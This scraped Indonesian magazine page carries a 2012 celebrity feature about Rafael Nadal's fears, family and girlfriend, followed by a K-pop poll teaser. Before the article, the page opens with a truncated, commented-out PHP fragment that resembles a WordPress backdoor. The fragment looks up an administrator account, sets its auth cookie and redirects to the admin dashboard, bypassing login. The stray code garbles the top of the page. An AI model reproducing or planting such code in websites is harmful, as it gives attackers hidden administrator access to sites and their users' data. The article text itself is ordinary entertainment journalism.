user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Celebrity
Sosok Insecure

21 Oct 2012


Di lapangan, Rafael Nadal (26)adalah seorang kidal. Tetapi, di luar lapangan, ia menulis dengan tangan kanan. Fakta ini seolah ikut menggambarkan berbedanya sosok Rafa di dalam dan di luar lapangan tenis. Di Spanyol, ia adalah seorang selebritas, Di rumah, Rafa adalah anak rumahan yang supersensitif.
Setidaknya, begitulah pengakuan Ana Maria, ibu Rafa. Menurutnya, orang mungkin akan kaget saat tahu bahwa di balik ketangguhannya di lapangan, Rafa takut gelap, sehingga selalu tidur dengan lampu dan TV menyala. Ia juga takut pada kilat dan petir, bahkan waktu kecil suka bersembunyi di balik bantal kursi ketika hujan lebat disertai guntur.
“Sampai sekarang, ia tidak memperbolehkan saya keluar rumah, meski barang sejengkal saja ketika ada badai,” cerita sang ibu, yang kini mengurusi Rafa Nadal Foundation. Yayasan yang berdiri di tahun 2008 ini ditujukan Rafa untuk membantu pendidikan dan menciptakan kesempatan berprestasi bagi anak-anak berkebutuhan khusus dan dari keluarga tidak mampu.
Rafa adalah pria yang sangat hati-hati dalam segala hal. Ketika menyetir mobil, misalnya, sedikit-sedikit ia akan mengerem dan memindahkan gigi untuk mengatur kecepatan. Begitu juga untuk urusan rumah, ia akan memastikan bahwa semuanya aman. “Ketika ia bepergian, ia akan menelepon setidaknya tiga kali untuk memastikan bahwa saya tidak lupa memadamkan perapian saat pergi tidur,” ungkap Ana Maria, tertawa.
Keamanan dan kebahagiaan keluarga memang menjadi pusat dalam kehidupan Rafa. Sedikit saja ada masalah dengan keluarga, maka konsentrasinya langsung akan buyar. Alasan inilah yang membuat adik perempuannya, Maria Isabel (21), takut mengabarkan bahwa ia tengah menjalani general check up di rumah sakit, ketika Rafa sedang menghadapi turnamen Australia Terbuka, tahun 2009.
“Tidak ada yang serius, tapi informasi ini menjadi satu-satunya yang tidak saya ceritakan di telepon. Sebab, bisa-bisa ia membatalkan diri dan langsung pulang ke Spanyol gara-gara khawatir,” ujar Maria, yang tidak pernah ketinggalan diajak oleh sang kakak di setiap acara liburan seru Rafa bersama teman-temannya.
Advertisement
Namun, sepulang dari turnamen itu, sebuah berita buruk sudah menunggu Rafa. Dalam penerbangan pulang, di perjalanan dari Melbourne ke Dubai, ayahnya mengungkapkan bahwa hubungannya dengan sang ibu tengah mengalami krisis, yang bisa mengarah pada perpisahan.
Berita ini membuatnya terpaku, kaget. Bagi Rafa, kedua orang tuanya adalah pilar dalam hidupnya, dan pilar itu sekarang runtuh. Sepengetahuannya, tak pernah ada konflik di dalam keluarga mereka yang selalu terlihat harmonis. Sehingga, sulit baginya untuk menerima bahwa perkawinan kedua orang tuanya yang telah berlangsung selama 30 tahun itu terempas krisis.
“Keluarga menduduki tempat yang suci dan tak tersentuh dalam pusat kehidupan saya. Mereka menjadi pusat dari stabilitas saya, dan album hidup tentang masa kecil yang menyenangkan,” ungkapnya, sedih. Beruntung, ia memiliki seorang kekasih berkepribadian tangguh, sosok yang bisa menguatkan dirinya kala terjatuh.
Wanita yang menjadi kekasihnya itu adalah Maria Francisca Perello (23). Mereka adalah teman satu sekolah di Majorca, dan telah menjalin hubungan cinta sejak tahun 2005. Lingkungan keluarga dan teman-temannya mengenal Xisca, panggilan akrab Maria, sebagai sosok cerdas dan berpendirian kuat.
Rafa merasa cocok dengannya, karena Xisca sangat mandiri dan sama-sama tidak menyukai kehidupan glamor khas selebritas. Meski tak selamanya bisa mendampingi Rafa, karena kesibukannya di salah satu perusahaan asuransi di Palma, Spanyol, Xisca adalah pendukung yang setia. Cari saja namanya di Google image, maka mayoritas gambar yang muncul akan menampilkan Xisca di bangku penonton, menyemangati sang kekasih.
“Saya tahu, ketika sedang bertanding, Rafa butuh ruangnya sendiri. Tetapi, di saat yang sama, saya selalu ada untuknya,” ujar lulusan bisnis administrasi dari Universitas Palma yang kini tengah mengambil sekolah manajemen bisnis di salah satu universitas di Inggris ini.(Naomi Jayalaksana)




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?